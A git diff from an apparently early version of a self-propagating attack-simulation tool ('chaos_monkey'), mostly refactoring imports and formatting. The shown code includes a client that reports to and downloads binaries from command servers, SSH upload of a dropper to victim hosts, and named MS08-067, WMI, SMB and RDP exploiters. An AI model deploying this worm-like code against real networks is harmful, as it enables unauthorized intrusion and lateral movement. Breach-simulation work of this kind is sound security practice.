diff --git a/.idea/workspace.xml b/.idea/workspace.xml index 788ef506c..26d35b863 100644 --- a/.idea/workspace.xml +++ b/.idea/workspace.xml @@ -2,9 +2,8 @@ - + - @@ -12,27 +11,15 @@ - - + - - - - - - - - - - - @@ -57,7 +44,7 @@ - + @@ -65,23 +52,33 @@ + + + + + + + + + + + + - - - - + + - - + + - + @@ -91,10 +88,8 @@ - - - - + + @@ -103,7 +98,7 @@ - + @@ -111,21 +106,21 @@ - - + + - - + + - - + + - + @@ -135,22 +130,8 @@ - - - - - - - - - - - - - - - - + + @@ -159,7 +140,7 @@ - + @@ -176,45 +157,45 @@ @@ -241,7 +222,6 @@ - @@ -274,6 +254,24 @@ + + + + + + + + + + + + + + + + + + + + + - - + + - + - + - + - + - + - + - + + + + - + - + - + @@ -489,7 +518,7 @@ - @@ -514,7 +543,9 @@ - + + + @@ -598,23 +629,10 @@ - - - - - - - - - - - - - @@ -628,36 +646,6 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - @@ -672,7 +660,6 @@ - @@ -680,9 +667,6 @@ - - - @@ -690,7 +674,6 @@ - @@ -718,17 +701,6 @@ - - - - - - - - - - - @@ -742,26 +714,6 @@ - - - - - - - - - - - - - - - - - - - - @@ -772,71 +724,10 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - @@ -848,51 +739,10 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - @@ -900,17 +750,6 @@ - - - - - - - - - - - @@ -922,33 +761,191 @@ - + + + + + + + + + - + - + - + - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + - + - - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/chaos_monkey/control.py b/chaos_monkey/control.py index 1a013a38c..bf5ac7c2a 100644 --- a/chaos_monkey/control.py +++ b/chaos_monkey/control.py @@ -26,10 +26,10 @@ class ControlClient(object): for server in WormConfiguration.command_servers: try: hostname = gethostname() - if None == parent: + if not parent: parent = GUID - WormConfiguration.current_server = server + WormConfiguration.current_server = server monkey = {'guid': GUID, 'hostname': hostname, @@ -41,18 +41,16 @@ class ControlClient(object): if ControlClient.proxies: monkey['tunnel'] = ControlClient.proxies.get('https') - reply = requests.post("https://%s/api/monkey" % (server,), - data=json.dumps(monkey), - headers={'content-type' : 'application/json'}, - verify=False, - proxies=ControlClient.proxies) - + reply = requests.post("https://%s/api/monkey" % (server,), + data=json.dumps(monkey), + headers={'content-type': 'application/json'}, + verify=False, + proxies=ControlClient.proxies) break except Exception, exc: WormConfiguration.current_server = '' - LOG.warn("Error connecting to control server %s: %s", - server, exc) + LOG.warn("Error connecting to control server %s: %s", server, exc) if not WormConfiguration.current_server: if not ControlClient.proxies: @@ -75,7 +73,7 @@ class ControlClient(object): monkey['tunnel'] = ControlClient.proxies.get('https') reply = requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID), data=json.dumps(monkey), - headers={'content-type' : 'application/json'}, + headers={'content-type': 'application/json'}, verify=False, proxies=ControlClient.proxies) except Exception, exc: @@ -84,14 +82,14 @@ class ControlClient(object): return {} @staticmethod - def send_telemetry(tele_type='general',data=''): + def send_telemetry(tele_type='general', data=''): if not WormConfiguration.current_server: return try: telemetry = {'monkey_guid': GUID, 'telem_type': tele_type, 'data' : data} reply = requests.post("https://%s/api/telemetry" % (WormConfiguration.current_server,), data=json.dumps(telemetry), - headers={'content-type' : 'application/json'}, + headers={'content-type': 'application/json'}, verify=False, proxies=ControlClient.proxies) except Exception, exc: @@ -123,10 +121,10 @@ class ControlClient(object): if not WormConfiguration.current_server: return None try: - reply = requests.post("https://%s/api/monkey/download" % (WormConfiguration.current_server,), - data=json.dumps(host.as_dict()), - headers={'content-type' : 'application/json'}, - verify=False, proxies=ControlClient.proxies) + reply = requests.post("https://%s/api/monkey/download" % (WormConfiguration.current_server,), + data=json.dumps(host.as_dict()), + headers={'content-type': 'application/json'}, + verify=False, proxies=ControlClient.proxies) if 200 == reply.status_code: result_json = reply.json() diff --git a/chaos_monkey/exploit/__init__.py b/chaos_monkey/exploit/__init__.py index 4f1e70cd9..60d815e7d 100644 --- a/chaos_monkey/exploit/__init__.py +++ b/chaos_monkey/exploit/__init__.py @@ -1,9 +1,4 @@ from abc import ABCMeta, abstractmethod -from win_ms08_067 import Ms08_067_Exploiter -from wmiexec import WmiExploiter -from smbexec import SmbExploiter -from rdpgrinder import RdpExploiter -from sshexec import SSHExploiter __author__ = 'itamar' @@ -18,3 +13,9 @@ class HostExploiter(object): @abstractmethod def exploit_host(self, host, src_path=None): raise NotImplementedError() + +from win_ms08_067 import Ms08_067_Exploiter +from wmiexec import WmiExploiter +from smbexec import SmbExploiter +from rdpgrinder import RdpExploiter +from sshexec import SSHExploiter diff --git a/chaos_monkey/exploit/rdpgrinder.py b/chaos_monkey/exploit/rdpgrinder.py index c0db62bd7..5793c17ee 100644 --- a/chaos_monkey/exploit/rdpgrinder.py +++ b/chaos_monkey/exploit/rdpgrinder.py @@ -7,12 +7,12 @@ from rdpy.protocol.rdp import rdp from twisted.internet import reactor from rdpy.core.error import RDPSecurityNegoFail from logging import getLogger -from chaos_monkey.exploit import HostExploiter -from chaos_monkey.exploit.tools import HTTPTools -from chaos_monkey.model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS -from chaos_monkey.model.host import VictimHost -from chaos_monkey.network.tools import check_port_tcp -from chaos_monkey.exploit.tools import get_target_monkey +from exploit import HostExploiter +from exploit.tools import HTTPTools +from model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS +from model.host import VictimHost +from network.tools import check_port_tcp +from exploit.tools import get_target_monkey __author__ = 'hoffer' KEYS_INTERVAL = 0.1 @@ -236,7 +236,7 @@ class RdpExploiter(HostExploiter): global g_reactor assert isinstance(host, VictimHost) - is_open,_ = check_port_tcp(host.ip_addr, RDP_PORT) + is_open, _ = check_port_tcp(host.ip_addr, RDP_PORT) if not is_open: LOG.info("RDP port is closed on %r, skipping", host) return False diff --git a/chaos_monkey/exploit/smbexec.py b/chaos_monkey/exploit/smbexec.py index 5f7a4315e..92090a61b 100644 --- a/chaos_monkey/exploit/smbexec.py +++ b/chaos_monkey/exploit/smbexec.py @@ -1,11 +1,11 @@ import sys from logging import getLogger -from chaos_monkey.model.host import VictimHost -from chaos_monkey.model import MONKEY_CMDLINE_DETACHED, DROPPER_CMDLINE_DETACHED -from chaos_monkey.exploit import HostExploiter -from chaos_monkey.network.tools import check_port_tcp -from chaos_monkey.exploit.tools import SmbTools, get_target_monkey -from chaos_monkey.network import SMBFinger +from model.host import VictimHost +from model import MONKEY_CMDLINE_DETACHED, DROPPER_CMDLINE_DETACHED +from exploit import HostExploiter +from network.tools import check_port_tcp +from exploit.tools import SmbTools, get_target_monkey +from network import SMBFinger try: from impacket import smb diff --git a/chaos_monkey/exploit/sshexec.py b/chaos_monkey/exploit/sshexec.py index 8296831cb..3adfb4e43 100644 --- a/chaos_monkey/exploit/sshexec.py +++ b/chaos_monkey/exploit/sshexec.py @@ -1,10 +1,10 @@ import paramiko -from chaos_monkey import monkeyfs +import monkeyfs import logging -from chaos_monkey.exploit import HostExploiter -from chaos_monkey.model import MONKEY_ARG -from chaos_monkey.exploit.tools import get_target_monkey -from chaos_monkey.network.tools import check_port_tcp +from exploit import HostExploiter +from model import MONKEY_ARG +from exploit.tools import get_target_monkey +from network.tools import check_port_tcp import time __author__ = 'hoffer' @@ -34,9 +34,9 @@ class SSHExploiter(HostExploiter): # if ssh banner found on different port, use that port. for servkey, servdata in host.services.items(): if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'): - port = int(servkey.replace('tcp-','')) + port = int(servkey.replace('tcp-', '')) - is_open,_ = check_port_tcp(host.ip_addr, port) + is_open, _ = check_port_tcp(host.ip_addr, port) if not is_open: LOG.info("SSH port is closed on %r, skipping", host) return False @@ -95,7 +95,6 @@ class SSHExploiter(HostExploiter): except Exception, exc: LOG.debug("Error running uname machine commad on victim %r: (%s)", host, exc) - src_path = src_path or get_target_monkey(host) if not src_path: @@ -107,7 +106,8 @@ class SSHExploiter(HostExploiter): self._update_timestamp = time.time() with monkeyfs.open(src_path) as file_obj: - ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path), callback=self.log_transfer) + ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path), + callback=self.log_transfer) ftp.chmod(self._config.dropper_target_path_linux, 0777) ftp.close() diff --git a/chaos_monkey/exploit/tools.py b/chaos_monkey/exploit/tools.py index f467c4414..6939161bc 100644 --- a/chaos_monkey/exploit/tools.py +++ b/chaos_monkey/exploit/tools.py @@ -4,12 +4,12 @@ import pprint import logging import os.path import urllib -from chaos_monkey import monkeyfs +import monkeyfs from difflib import get_close_matches -from chaos_monkey.network import local_ips -from chaos_monkey.transport import HTTPServer -from chaos_monkey.network.info import get_free_tcp_port -from chaos_monkey.network.firewall import app as firewall +from network import local_ips +from transport import HTTPServer +from network.info import get_free_tcp_port +from network.firewall import app as firewall from impacket.dcerpc.v5 import transport, srvs from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError from impacket.smbconnection import SMBConnection, SMB_DIALECT diff --git a/chaos_monkey/exploit/win_ms08_067.py b/chaos_monkey/exploit/win_ms08_067.py index 6e79a643f..77454c518 100644 --- a/chaos_monkey/exploit/win_ms08_067.py +++ b/chaos_monkey/exploit/win_ms08_067.py @@ -11,12 +11,12 @@ import time import socket from enum import IntEnum from logging import getLogger -from chaos_monkey.model.host import VictimHost -from chaos_monkey.model import DROPPER_CMDLINE, MONKEY_CMDLINE -from chaos_monkey.exploit import HostExploiter -from chaos_monkey.exploit.tools import SmbTools, get_target_monkey -from chaos_monkey.network.tools import check_port_tcp -from chaos_monkey.network import SMBFinger +from model.host import VictimHost +from model import DROPPER_CMDLINE, MONKEY_CMDLINE +from . import HostExploiter +from exploit.tools import SmbTools, get_target_monkey +from network.tools import check_port_tcp +from network import SMBFinger try: from impacket import smb diff --git a/chaos_monkey/exploit/wmiexec.py b/chaos_monkey/exploit/wmiexec.py index b8a9512e4..cd316480a 100644 --- a/chaos_monkey/exploit/wmiexec.py +++ b/chaos_monkey/exploit/wmiexec.py @@ -2,10 +2,10 @@ import socket import ntpath import logging import traceback -from chaos_monkey.model import DROPPER_CMDLINE, MONKEY_CMDLINE -from chaos_monkey.model.host import VictimHost -from chaos_monkey.exploit import HostExploiter -from chaos_monkey.exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey +from model import DROPPER_CMDLINE, MONKEY_CMDLINE +from model.host import VictimHost +from exploit import HostExploiter +from exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey LOG = logging.getLogger(__name__) diff --git a/chaos_monkey/main.py b/chaos_monkey/main.py index bf1adf336..b020afcd8 100644 --- a/chaos_monkey/main.py +++ b/chaos_monkey/main.py @@ -10,6 +10,9 @@ from monkey import ChaosMonkey import argparse import json +if __name__ == "__main__": + sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) + __author__ = 'itamar' LOG = None diff --git a/chaos_monkey/monkey.py b/chaos_monkey/monkey.py index 15f4e4225..3c12bfe3b 100644 --- a/chaos_monkey/monkey.py +++ b/chaos_monkey/monkey.py @@ -32,7 +32,7 @@ class ChaosMonkey(object): self._fingerprint = None def initialize(self): - LOG.info("WinWorm is initializing...") + LOG.info("Monkey is initializing...") if not self._singleton.try_lock(): raise Exception("Another instance of the monkey is already running") @@ -82,7 +82,7 @@ class ChaosMonkey(object): finger.get_host_fingerprint(machine) ControlClient.send_telemetry('scan', {'machine': machine.as_dict(), - 'scanner' : WormConfiguration.scanner_class.__name__}) + 'scanner': WormConfiguration.scanner_class.__name__}) # skip machines that we've already exploited if machine in self._exploited_machines: @@ -107,16 +107,14 @@ class ChaosMonkey(object): exploiter.__class__.__name__, machine) continue - LOG.info("Trying to exploit %r with exploiter %s...", - machine, exploiter.__class__.__name__) + LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__) try: if exploiter.exploit_host(machine): successful_exploiter = exploiter break else: - LOG.info("Failed exploiting %r with exploiter %s", - machine, exploiter.__class__.__name__) + LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__) except Exception, exc: LOG.error("Exception while attacking %s using %s: %s", machine, exploiter.__class__.__name__, exc) diff --git a/chaos_monkey/network/__init__.py b/chaos_monkey/network/__init__.py index 6ea3e7504..44fd4dfd7 100644 --- a/chaos_monkey/network/__init__.py +++ b/chaos_monkey/network/__init__.py @@ -1,10 +1,4 @@ from abc import ABCMeta, abstractmethod -from ping_scanner import PingScanner -from tcp_scanner import TcpScanner -from smbfinger import SMBFinger -from sshfinger import SSHFinger -from info import local_ips -from info import get_free_tcp_port __author__ = 'itamar' @@ -23,3 +17,10 @@ class HostFinger(object): @abstractmethod def get_host_fingerprint(self, host): raise NotImplementedError() + +from ping_scanner import PingScanner +from tcp_scanner import TcpScanner +from smbfinger import SMBFinger +from sshfinger import SSHFinger +from info import local_ips +from info import get_free_tcp_port diff --git a/chaos_monkey/network/network_scanner.py b/chaos_monkey/network/network_scanner.py index 516502432..bef094429 100644 --- a/chaos_monkey/network/network_scanner.py +++ b/chaos_monkey/network/network_scanner.py @@ -1,7 +1,7 @@ import time import logging from . import HostScanner -from chaos_monkey.config import WormConfiguration +from config import WormConfiguration from info import local_ips from range import * diff --git a/chaos_monkey/network/ping_scanner.py b/chaos_monkey/network/ping_scanner.py index 8d43ac475..842a6aee8 100644 --- a/chaos_monkey/network/ping_scanner.py +++ b/chaos_monkey/network/ping_scanner.py @@ -3,7 +3,7 @@ import sys import subprocess import logging from . import HostScanner, HostFinger -from chaos_monkey.model.host import VictimHost +from model.host import VictimHost import re __author__ = 'itamar' diff --git a/chaos_monkey/network/range.py b/chaos_monkey/network/range.py index dd6bedf1f..8bfd4c7fc 100644 --- a/chaos_monkey/network/range.py +++ b/chaos_monkey/network/range.py @@ -2,7 +2,7 @@ import socket import random import struct from abc import ABCMeta, abstractmethod -from chaos_monkey.model.host import VictimHost +from model.host import VictimHost __author__ = 'itamar' diff --git a/chaos_monkey/network/smbfinger.py b/chaos_monkey/network/smbfinger.py index f9f3d6e2b..608f9bea3 100644 --- a/chaos_monkey/network/smbfinger.py +++ b/chaos_monkey/network/smbfinger.py @@ -1,8 +1,8 @@ import socket import struct import logging -from chaos_monkey.network import HostFinger -from chaos_monkey.model.host import VictimHost +from network import HostFinger +from model.host import VictimHost from odict import odict SMB_PORT = 445 diff --git a/chaos_monkey/network/sshfinger.py b/chaos_monkey/network/sshfinger.py index 19cf1dc50..a4d6a010d 100644 --- a/chaos_monkey/network/sshfinger.py +++ b/chaos_monkey/network/sshfinger.py @@ -1,7 +1,7 @@ import re -from chaos_monkey.network import HostFinger -from chaos_monkey.network.tools import check_port_tcp -from chaos_monkey.model.host import VictimHost +from network import HostFinger +from network.tools import check_port_tcp +from model.host import VictimHost SSH_PORT = 22 SSH_SERVICE_DEFAULT = 'tcp-22' diff --git a/chaos_monkey/network/tcp_scanner.py b/chaos_monkey/network/tcp_scanner.py index 9460a234a..0616f5b8e 100644 --- a/chaos_monkey/network/tcp_scanner.py +++ b/chaos_monkey/network/tcp_scanner.py @@ -1,7 +1,7 @@ import time -from chaos_monkey.network import HostScanner, HostFinger -from chaos_monkey.model.host import VictimHost -from chaos_monkey.network.tools import check_port_tcp +from network import HostScanner, HostFinger +from model.host import VictimHost +from network.tools import check_port_tcp __author__ = 'itamar'